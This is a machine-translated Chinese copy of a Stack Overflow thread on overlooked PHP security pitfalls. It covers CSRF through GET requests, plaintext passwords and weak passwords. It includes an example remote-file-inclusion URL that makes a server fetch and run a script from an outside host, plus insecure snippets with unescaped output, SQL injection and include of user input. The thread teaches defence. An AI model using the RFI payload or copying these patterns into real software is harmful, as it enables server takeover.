常见的未知PHP安全隐患

时间:2009-12-16 22:03:20

标签: php security

我知道这样的问题已被问过一百次,但我的情况有点不同。

我知道所有常见且广为人知的安全问题,如SQL注入,XSS等。但是,经常出现但大部分时间都未被识别或未被判断为漏洞的问题又如何呢?有没有?

8 个答案:

答案 0 :(得分:8)

有一件事我已经看到很多东西被开发成为一个功能,并且在它为时已晚之前不被视为安全漏洞是状态改变的GET请求。这些很容易导致cross-site request forgery。例如,您的应用程序可能会有一个指向用户的http://mysite.com/logout链接。但第三方网站可以添加如下代码:

<!-- on evil.com site -->
<img src="http://mysite.com/logout">

然后,当用户在evil.com上加载页面时,他们将退出mysite.com!

当网站使用状态更改GET请求实现API时,会出现最严重的问题。例如,如果我使用诸如site.com/addfriend,site.com/sendmessage等网址运行社交网站,并且我将这些网址发送给将要为我的网站制作应用程序的开发人员,那么开发人员必须在发现安全漏洞时处理API更改。

答案 1 :(得分:5)

  1. 使用$_REQUEST代替$_GET$_POST,这是个坏主意,因为$_REQUEST也包含Cookie,它为{{3}打开了大门}}

  2. 不是特定于PHP的,适用于所有解释型语言:Variable Fixation

答案 2 :(得分:3)

以下是我参与过的一些事情:

  • 将密码以明文形式存储在数据库中
    • 如果您的网站被黑客攻击,黑客可以访问您所有用户的密码和电子邮件。考虑有多少用户的电子邮件和网站使用相同的密码。
  • 将电子邮件存储在与用户相同的表格中
    • 如果SQL注入攻击让黑客访问您的用户表,则唯一有价值的信息之一就是电子邮件地址。将它保存在一个单独的表中,以使黑客更加困难。
    • 如果您不打算通过电子邮件发送用户,只需存储其电子邮件的哈希值:获取用户电子邮件权限的黑客可以将其出售给垃圾邮件发送者。
  • 即使您有受密码保护的网站,也要考虑密码的安全性。我有一个朋友,他的网站使用简单的5位数密码。我搞砸了 大约一个小时。
  • 如果您正在发送具有价值的通信(即:您正在执行使用大量资源的操作:cpu,内存等),则始终需要来自已加时间戳的用户的令牌。
    • 如果黑客发现你的操作每次被击中都要花费0.0001美元,那么他们就可以通过僵尸网络来收取你名下的费用。
    • 要求用户发送哈希值(用户的唯一ID,时间戳和密码盐)以及明文时间戳。明文时间戳允许您在上周二验证您没有授予他们权限,哈希中的时间戳允许您验证其属于那个消息,其中的UID确保黑客没有请求来自其他人的请求,并且哈希中的秘密盐确保他们不会自己生成它。
  • 如果您正在为应用程序编写插件系统,请注意您在私有变量中存储的内容。看看我写的关于如何lock it down
  • 的这篇文章

我处理过的一些想法和事情。希望它有所帮助!

答案 3 :(得分:2)

我在fopen处理程序启用时曾经处理过一堆垃圾,就像“注册全局”一样。包含类似于:

<?php
include $MY_BASE . '/includes/myLib.inc';
?>

这允许任何人做的是远程执行他们想要的任何代码。看吧: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP将通过HTTP获取文本文件并在本地执行。由于Apache以root身份运行......好吧,你明白了。

答案 4 :(得分:1)

缺乏防止社会工程攻击的程序?例如,攻击者呼叫办公室并假冒某人以获取密码。

密码创建,分发和保护政策不佳。

FTP帐户破解可能导致恶意代码上传到您的网站。

弱/易受攻击的第三方托管服务器可能会导致您的网站遭到入侵,无论您花多少时间保护其安全。

答案 5 :(得分:1)

以下是我看到的一些常见陷阱:

<强> 1。不逃避实体

这是基础知识;所有不受信任的输入(特别是来自表单的用户输入)必须在输出之前进行清理。

echo $_GET['username'];

<强> 2。不转义SQL输入

$query = "select * fromt able where id = {$_GET['id']}";

第3。不正确地要求和包含文件

include($_GET['filename']);

<强> 4。双重转义报价

如果magic_quotes_gpc为true,那么使用addslahes将添加一个斜杠 从而总共添加两个斜杠。

答案 6 :(得分:0)

PHP已存在超过10年,并且已经成熟了很多。

小心php.ini中的松散默认值。

答案 7 :(得分:0)

许多帖子并非特定于PHP。我确信存在一些语言缺陷,但正如您在帖子中看到的那样,实现安全性的最佳实践(如过滤用户输入)非常重要。 OWASP是安全网络应用的良好开端。关于主题:Security Issues in PHP on OWASP

干杯

相关问题